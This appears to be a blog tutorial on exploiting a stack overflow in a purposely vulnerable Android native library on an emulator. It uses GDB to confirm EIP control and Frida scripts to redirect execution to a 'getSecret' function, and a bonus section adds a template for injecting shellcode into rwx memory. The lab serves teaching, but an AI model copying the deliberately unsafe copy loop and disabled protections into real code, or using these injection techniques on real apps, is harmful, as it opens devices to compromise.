My journey into Android exploitation at the binary level started with a deep passion for the subject. I was determined to simplify the process as much as possible, but it turned out to be quite challenging. In this post, you’ll learn various aspects of Android exploitation, including:

  • How to use the NDK to write an application.
  • How to create a vulnerable lab environment for demonstrating Stack Overflow vulnerabilities.
  • How to exploit Stack Overflow in Android binaries.
  • How to Debug an Android Native Binary Remotely with GDB
  • A deep dive into the capabilities of Frida!

I conducted all the steps in this post on an x86 Android emulator (Genymotion).

Why Frida?

You might wonder why I used Frida. There were two main reasons:

  1. Passion: I absolutely love working with Frida!
  2. Practicality: I couldn’t find another way to send my binary data for overriding the EIP.

I hope you find this content innovative and insightful.

Creating the Vulnerable Application

Implementing Graphical User Interface

The first step in creating our vulnerable application is to edit the style of the MainActivity. The goal here is to set up an interface that allows us to input data for buffer exploitation and includes a button to submit the value.

activity_main_xml

Below is the XML code for activity_main.xml:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity">

    <EditText
        android:id="@+id/user_input"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:hint="Enter input" />

    <Button
        android:id="@+id/exploit_button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Exploit" />

    <TextView
        android:id="@+id/result_text"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Result will be shown here" />
</LinearLayout>

Implementing Vulnerable Native C++ Code

To introduce a vulnerability, we’ll use native C++ code that is susceptible to a stack overflow.

native_lib_cpp

Below, I’ve defined three functions, starting with the main function. This function simply returns the user input value.

Here’s the C++ code for the main function:

extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_stringFromJNI(
        JNIEnv* env,
        jobject,
        jstring input) {
    const char* inputCStr = env->GetStringUTFChars(input, nullptr);
    kousha(inputCStr);
    env->ReleaseStringUTFChars(input, inputCStr);
    return env->NewStringUTF(inputCStr);
}

The second function in our vulnerable native C++ code is kousha. This function is called by Java_com_example_myapplication_MainActivity_stringFromJNI and is responsible for copying the user input characters one by one into a fixed-size buffer.

Below is the C++ code for the kousha function:

int kousha(const char* inputCStr) {
    char buffer[10];
    const char *p1 = inputCStr;
    char *p2 = buffer;
    while (1) {
        *p2 = *p1;
        if (*p1 == 0) {
            break;
        }
        p1 = p1 + 1;
        p2 = p2 + 1;
    }
    return 0;
}

Implementing the getSecret Function

The final piece of our vulnerable application is the Java_com_example_myapplication_MainActivity_getSecret function. The goal of this lab is to exploit the stack overflow and override the EIP register to call this function. When successfully called, this function will log “Yeah!” in the adb logcat output.

Before diving into the function itself, don’t forget to define the logging macro at the beginning of your C++ file:

#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)

Here’s the C++ code for the getSecret function:

extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_getSecret(
        JNIEnv* env,
        jobject) {
    std::string hello = "Yeah!";
    LOGI("%s", hello.c_str());
    return env->NewStringUTF(hello.c_str());
}

Code Explanation:

  • Logging Setup: The macro LOGI is defined to log informational messages to the Android logcat. This is essential for seeing the “Yeah!” message in the log output.
  • Function Declaration: Like the previous functions, this one is declared with extern "C" to ensure proper linkage for JNI.
  • Logging the Message: The function logs the string “Yeah!” to the adb logcat using the LOGI macro.
  • Returning the String: Finally, the function returns the “Yeah!” string as a new jstring back to the Java layer.

Exploit Goal:

The goal of this lab is to craft an exploit that causes the kousha function’s stack overflow to override the EIP register, redirecting execution to the getSecret function. When successful, you’ll see “Yeah!” logged in the adb logcat output, confirming that the exploit worked.

Full Code for Vulnerable Native C++ Functions

Below is the complete C++ code for the vulnerable native functions used in our Android application. This code includes logging macros, the vulnerable kousha function, and the getSecret function, which we aim to call via an exploit.

#include <jni.h>
#include <string>
#include <android/log.h>

#define LOG_TAG "MyApplication"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)

int kousha(const char* inputCStr) {
    char buffer[10];
    const char *p1 = inputCStr;
    char *p2 = buffer;
    while (true) {
        *p2 = *p1;
        if (*p1 == 0) {
            break;
        }
        p1 = p1 + 1;
        p2 = p2 + 1;
    }
    return 0;
}

extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_stringFromJNI(
        JNIEnv* env,
        jobject,
        jstring input) {
    const char* inputCStr = env->GetStringUTFChars(input, nullptr);
    kousha(inputCStr);
    env->ReleaseStringUTFChars(input, inputCStr);
    return env->NewStringUTF(inputCStr);
}

extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_getSecret(
        JNIEnv* env,
        jobject) {
    std::string hello = "Yeah!";
    LOGI("%s", hello.c_str());
    return env->NewStringUTF(hello.c_str());
}

Modifying CMakeLists.txt for Security Settings and Library Inclusion

To set up our build environment for the vulnerable application, we need to modify the CMakeLists.txt file. This involves disabling the FORTIFY security feature and adding the native-lib library.

CMakeLists_txt

Here is the updated CMakeLists.txt configuration:

cmake_minimum_required(VERSION 3.22.1)
project("myapplication")

# Add the native-lib library
add_library(native-lib SHARED
        native-lib.cpp)

# Set compiler flags to disable security features and enable debugging
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -O0 -g")

# Link the native-lib library with Android and log libraries
target_link_libraries(native-lib
        android
        log)

Build and run the project now.

launch-app

Exploiting Stack Overflow

Now it’s time to trigger a crash. We’ll send an excessive number of characters to cause a buffer overflow and crash the app. Send the following input to trigger the buffer overflow:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

app_crash

Now that we know the application is vulnerable, use the cyclic function from the pwntools Python framework to determine the amount of data needed to reach and override the EIP register.

python_find_eip

We observed that the fault address is 0x61656161, which corresponds to the last value of EIP when the app crashes.

find_offset_logcat

Now, we can determine the offset needed to override the EIP register and execute our getSecret function.

override-addr

Everything has been smooth so far, but we’re about to hit a challenging part. Grab a cup of coffee and let’s dive in.

Even if we have the address of the getSecret function, passing it as a text input could be tricky. We might explore using Unicode characters, though their effectiveness is uncertain. That’s why I’m turning to Frida for a solution.

Before we dive into Frida, let’s complete the final step of our current task. We’ll use GDB for remote debugging to confirm that the EIP register has been successfully overwritten.

I’ve set up gdbserver on the Android device and attached it to the vulnerable application with the following command:

./gdbserver :7777 --attach $(ps | grep myapp | awk '{print $2}')

I then forwarded port 7777 from the Android device to my host using:

adb forward tcp:7777 tcp:7777

Next, I started GDB and connected to the remote application using:

target remote :7777

gdb-remote

The application is currently stopped. Set a breakpoint on the kousha function using the following GDB command:

b *kousha

Then, use the c command to continue execution:

c

gdb-remote-2

I used aaaaaaaaaaaaaabcde as the input. This consists of 14 ‘a’ characters to reach the offset and bcde to overwrite the EIP register. The breakpoint will be hit, and GDB will stop at the first instruction of the kousha function. You can view the next 30 instructions with:

x/30i $eip

gdb-remote-3

You might see a jmp instruction creating a loop that corresponds to the while loop in the kousha function. Set a breakpoint after the loop and continue debugging.

gdb-remote-4

Use the ni (next instruction) command in GDB to step through the instructions one by one. After executing the pop ebp instruction, the ebp register will show aaaa.

gdb-remote-5

When the ret instruction is executed, the eip register will be set to bcde.

gdb-remote-6

We successfully overwrote the EIP register with the value bcde. Now, the goal is to override it with the address of our getSecret function. To do this, let’s dive into Frida.

I’ve set up the Frida Server on the Android Emulator, enabling us to connect to it. The plan involves three steps:

  • Find the Base Address of the getSecret Function.
  • Craft a Payload (offset + *getSecret).
  • Send the Payload as User Input to Trigger the Overflow.

However, it’s not as straightforward as it sounds. After trying several methods to modify the user input, I found that hooking GetStringUTFChars was the most effective approach. So, we’ll hook GetStringUTFChars from the libnative-lib.so library.

For additional learning, I’ve included some extra code to explore Frida’s capabilities, such as finding the base address of a library using Module.findBaseAddress("libname.so").

Here’s the Frida script:

var libnative_lib_so = 'libnative-lib.so';

function start_timer_for_intercept() {
  setTimeout(function() {
    console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
    
    var offset_of_GetStringUTFChars = 0x51110;
    var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);
    
    Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
      onLeave: function(retval) {
        var uInput = retval.readCString();
        if (uInput == "exploit") {
          console.log("We are done!");
        }
      }
    });
  }, 2000);
}

start_timer_for_intercept();

Explanation:

  • Finding the Base Address: The base address of libnative-lib.so is retrieved and logged.
  • Offset Calculation: We calculate the dynamic address of GetStringUTFChars by adding its offset to the base address.
  • Hooking GetStringUTFChars: We use Frida’s Interceptor.attach to hook the GetStringUTFChars function. If the user input matches “exploit”, it confirms that the hook is working as expected.

This setup allows us to intercept and modify the input before it’s used in the vulnerable function, helping us to overwrite the EIP with the getSecret address.

frida-1

Now, let’s craft our payload. We need 14 bytes as an offset to reach the EIP register, followed by the base address of the getSecret function. However, there’s a crucial detail: in our previous code, we only used console.log(). To exploit the vulnerability, we need to return an address as the retval. This requires allocating space in the heap.

Below is the code that does this:

var libnative_lib_so = 'libnative-lib.so';

function start_timer_for_intercept() {
  setTimeout(function() {
    // Find the base address of the library
    console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
    var offset_of_GetStringUTFChars = 0x51110; // Replace with the actual offset
    var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);

    // Allocate space in the heap for our payload
    var memoryForPayload = Memory.alloc(100);
    
    // Craft the payload: 14 'A's (0x41) followed by 'B's (0x42) to overwrite EIP
    var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];
    payload.push(0x42, 0x42, 0x42, 0x42);
    
    // Write the payload into the allocated memory
    Memory.writeByteArray(memoryForPayload, payload);

    // Hook the GetStringUTFChars function and replace the return value with our payload
    Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
      onLeave: function(retval) {
        var uInput = retval.readCString();
        if (uInput == "exploit") {
          retval.replace(memoryForPayload); // Replace retval with our crafted payload
          console.log("We are done!");
        }
      }
    });
  }, 2000);
}

start_timer_for_intercept();

Explanation:

  • Memory Allocation:

    • Memory.alloc(100): Allocates 100 bytes in the heap for our payload.
  • Crafting the Payload:

    • payload = [0x41, …]: Fills the first 14 bytes with 0x41 (‘A’) to reach the EIP register.
    • payload.push(0x42, 0x42, 0x42, 0x42): Adds 0x42 (‘B’) to overwrite the EIP register.
  • Replacing the Return Value:

    • retval.replace(memoryForPayload): Replaces the original return value of GetStringUTFChars with our crafted payload.

This code will modify the user input to include the crafted payload, allowing us to overwrite the EIP register and execute the getSecret function.

Now that we’ve identified how to trigger the overflow, it’s time to execute the real exploit: overriding the EIP register with the address of the getSecret function.

frida-4

Here’s the process:

  • Find the Base Address of getSecret:

    • We use Module.findExportByName() to locate the base address of the getSecret function within the libnative-lib.so library.
  • Convert the Address:

    • After finding the address, we convert it to a hexadecimal format suitable for the EIP register.
  • Adjust for Endianness:

    • The address is pushed in reverse order due to endianness, which ensures the correct function call.
  • Execute the Exploit:

    • Finally, we hook the GetStringUTFChars function to replace the user input with our crafted payload, which includes the address of getSecret.
var libnative_lib_so = 'libnative-lib.so';

function start_timer_for_intercept() {
  setTimeout(function() {
    console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));

    var offset_of_GetStringUTFChars = 0x51110; // Offset for GetStringUTFChars
    var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);

    // Allocate memory for the payload
    var memoryForPayload = Memory.alloc(100);
    var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];

    // Find the address of getSecret
    var getSecret = Module.findExportByName("libnative-lib.so", "Java_com_example_myapplication_MainActivity_getSecret");
    var getSecretAddr = getSecret.toString().match(/[\s\S]{1,2}/g) || [];

    // Push the getSecret address in reverse order due to endianness
    payload.push(parseInt(getSecretAddr[4], 16), parseInt(getSecretAddr[3], 16), parseInt(getSecretAddr[2], 16), parseInt(getSecretAddr[1], 16));
    Memory.writeByteArray(memoryForPayload, payload);

    // Hook GetStringUTFChars and replace the return value with our crafted payload
    Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
      onLeave: function(retval) {
        var uInput = retval.readCString();
        if (uInput == "exploit") {
          retval.replace(memoryForPayload); // Replace retval with our crafted payload
        }
      }
    });
  }, 2000);
}

start_timer_for_intercept();

Summary

  • We first locate the getSecret function’s address using Module.findExportByName().
  • The address is then formatted and adjusted for system endianness.
  • Finally, by hooking the GetStringUTFChars function, we replace the user input with a payload that includes the address of getSecret.
  • When the payload is executed, the application logs “Yeah!” to indicate success.

And just like that, we’ve successfully exploited the application to call the getSecret function!

Bonus

If you’re interested in writing and executing shellcode in memory—like a reverse shell—this section will guide you through the process. The steps include writing the shellcode, allocating memory for it, changing the allocated memory’s permissions to make it executable, and then writing the shellcode into that memory.

frida-5

Steps to Execute Shellcode:

  • Write Your Shellcode:

    • First, craft your shellcode. This could be something like a reverse shell.
  • Allocate Memory:

    • Allocate memory for your shellcode, ensuring it’s large enough to hold the shellcode and any additional data.
  • Change Memory Permissions:

    • Modify the permissions of the allocated memory region to make it executable.
  • Write Shellcode into Memory:

    • Write the shellcode into the allocated memory.
  • Verify with hexdump():

    • Use hexdump() to inspect the memory where the shellcode is located and ensure everything is as expected.
var libnative_lib_so = 'libnative-lib.so';

function start_timer_for_intercept() {
  setTimeout(function() {
    console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));

    var offset_of_GetStringUTFChars = 0x51110; // Offset for GetStringUTFChars
    var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);

    // Allocate memory for the payload
    var memoryForPayload = Memory.alloc(100);
    var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];

    // Write your shellcode here
    var shellcode = [YOUR_SHELLCODE_GOES_HERE];
    var memoryForShellcode = Memory.alloc(shellcode.length + 20);

    // Change memory permissions to make it executable
    Memory.protect(ptr(memoryForShellcode), shellcode.length + 20, 'rwx');

    // Write the shellcode into the allocated memory
    Memory.writeByteArray(memoryForShellcode, shellcode);

    // Extract the shellcode address and adjust for endianness
    var shellcodeAddress = memoryForShellcode.toString().match(/[\s\S]{1,2}/g) || [];
    payload.push(parseInt(shellcodeAddress[4], 16), parseInt(shellcodeAddress[3], 16), parseInt(shellcodeAddress[2], 16), parseInt(shellcodeAddress[1], 16));
    Memory.writeByteArray(memoryForPayload, payload);

    // Log the memory contents for verification
    console.log(hexdump(memoryForShellcode, { length: 128 }));

    // Hook GetStringUTFChars and replace the return value with our crafted payload
    Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
      onLeave: function(retval) {
        var uInput = retval.readCString();
        if (uInput == "exploit") {
          retval.replace(memoryForPayload); // Replace retval with our crafted payload
        }
      }
    });
  }, 2000);
}

start_timer_for_intercept();

Summary

  • Memory Allocation: We allocate memory and change its permissions to allow execution.
  • Shellcode Injection: The shellcode is injected into the allocated memory.
  • Execution: The script is set up to replace the return value of GetStringUTFChars with the payload that includes the shellcode.
  • Verification: Use hexdump() to inspect the shellcode in memory and ensure it’s correctly placed.

This approach demonstrates how to write and execute shellcode directly in memory using Frida.